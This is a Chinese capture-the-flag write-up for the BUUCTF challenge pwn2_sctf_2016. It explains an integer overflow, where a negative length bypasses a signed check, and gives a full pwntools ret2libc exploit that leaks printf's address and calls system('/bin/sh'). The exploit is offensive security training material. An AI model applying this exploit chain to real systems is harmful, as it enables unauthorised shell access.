zoukankan      html  css  js  c++  java
  • [BUUCFT]PWN——pwn2_sctf_2016

    pwn2_sctf_2016[整数溢出+泄露libc]

    题目附件

    步骤:

    例行检查,32位,开启了nx保护
    在这里插入图片描述
    试运行一下程序,看看大概的执行情况
    在这里插入图片描述

    32位ida载入,shift+f12检索程序里的字符串,没有看到现成的system和‘/bin/sh’,加上开启了NX保护,估计是泄露libc类型的题目

    从main函数开始看程序,main函数就调用了一个vuln函数
    在这里插入图片描述
    注意第7行的输入函数不是get,是程序自定义的函数get_n,
    接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。也就是说我们这边可以输入负数来达到溢出的效果(整数溢出)
    在这里插入图片描述

    利用思路:

    1. 一开始输入负数,绕过长度限制,造成溢出
    2. 利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址
    3. 溢出覆盖返回地址去执行system(‘/bin/sh’)

    利用过程:

    1. 造成整数溢出
      在get_n函数中,读入长度被强制转换为unsigned int,此时-1变成了4294967295。使得我们能够进行缓冲区溢出攻击
    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    
    1. 泄露libc
    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    r.recvuntil('
    ')
    payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
    r.sendline(payload)
    r.recvuntil('
    ')
    printf_addr=u32(r.recv(4))
    libc=LibcSearcher('printf',printf_addr)
    
    1. 计算system和bin/sh的地址
    offset=printf_addr-libc.dump('printf')
    system=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    
    1. 覆盖返回地址为system(‘/bin/sh’)
    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    r.recvuntil('
    ')
    payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
    r.sendline(payload)
    

    完整EXP:

    from pwn import *
    from LibcSearcher import *
    
    r=remote('node3.buuoj.cn',29806)
    elf=ELF('./pwn2_sctf_2016')
    
    printf_plt=elf.plt['printf']
    printf_got=elf.got['printf']
    main=elf.sym['main']
    
    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    r.recvuntil('
    ')
    payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
    r.sendline(payload)
    r.recvuntil('
    ')
    printf_addr=u32(r.recv(4))
    libc=LibcSearcher('printf',printf_addr)
    
    offset=printf_addr-libc.dump('printf')
    system=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    
    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    r.recvuntil('
    ')
    payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
    r.sendline(payload)
    
    r.interactive()
    

    有多个匹配的libc版本,这边选13
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    直播丨国产最强音:HTAP融合型分布式数据库EsgynDB架构详解
    20个MySQL高性能架构设计原则(收藏版)
    RocketMQ进阶-延时消息
    Volatility2.6用法
    【LeetCode】112.路径总和(递归和迭代实现,Java)
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273706.html
Copyright © 2011-2022 走看看